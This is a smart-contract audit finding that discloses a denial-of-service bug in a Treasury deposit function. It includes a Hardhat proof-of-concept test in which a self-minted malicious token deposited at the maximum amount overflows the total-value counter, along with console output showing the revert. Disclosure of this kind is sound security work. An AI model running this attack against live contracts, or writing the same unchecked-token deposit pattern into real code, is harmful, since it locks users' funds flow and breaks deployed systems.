Summary
Function Treasury::deposit()
allows anyone to deposit tokens into the treasury. However, by allowing arbitrary token, an attacker can deposit malicious token in order to DoS the contract.
Vulnerability Details
The function Treasury::deposit()
allows caller to deposit arbitrary token with arbitrary amount and increase the _totalValue
.
The problem arises when an attacker deposit a malicious token with a very large amount to make _totalValue
reaches max_uint256
. This will DoS any deposits afterward because of arithmetic overflow at _totalValue += amount
.
function deposit(address token, uint256 amount) external override nonReentrant {
if (token == address(0)) revert InvalidAddress();
if (amount == 0) revert InvalidAmount();
@> IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
@> _totalValue += amount;
emit Deposited(token, amount);
}
PoC
Add the test to test/unit/core/collectors/Treasury.test.js
describe("Deposits", () => {
...
it.only("can deposit malicious token to permanent DoS contract", async function(){
const usdc = token;
const MockToken = await ethers.getContractFactory("MockToken");
let maliciousToken = await MockToken.deploy("Test Token", "TEST", 18);
await maliciousToken.mint(user2.address, ethers.MaxUint256);
await maliciousToken.connect(user2).approve(treasury.target, ethers.MaxUint256);
await treasury.connect(user2).deposit(await maliciousToken.getAddress(), ethers.MaxUint256)
console.log(`total value ${await treasury.getTotalValue()}`)
const amount = ethers.parseEther("100");
await usdc.connect(user1).approve(treasury.target, amount)
await treasury.connect(user1).deposit(await usdc.getAddress(), amount);
})
Run the test and console shows:
Treasury
Deposits
total value 115792089237316195423570985008687907853269984665640564039457584007913129639935
1) can deposit malicious token to permanent DoS contract
0 passing (2s)
1 failing
1) Treasury
Deposits
can deposit malicious token to permanent DoS contract:
Error: VM Exception while processing transaction: reverted with panic code 0x11 (Arithmetic operation overflowed outside of an unchecked block)
at Treasury.deposit (contracts/core/collectors/Treasury.sol:57)
Impact
Tools Used
Manual
Recommendations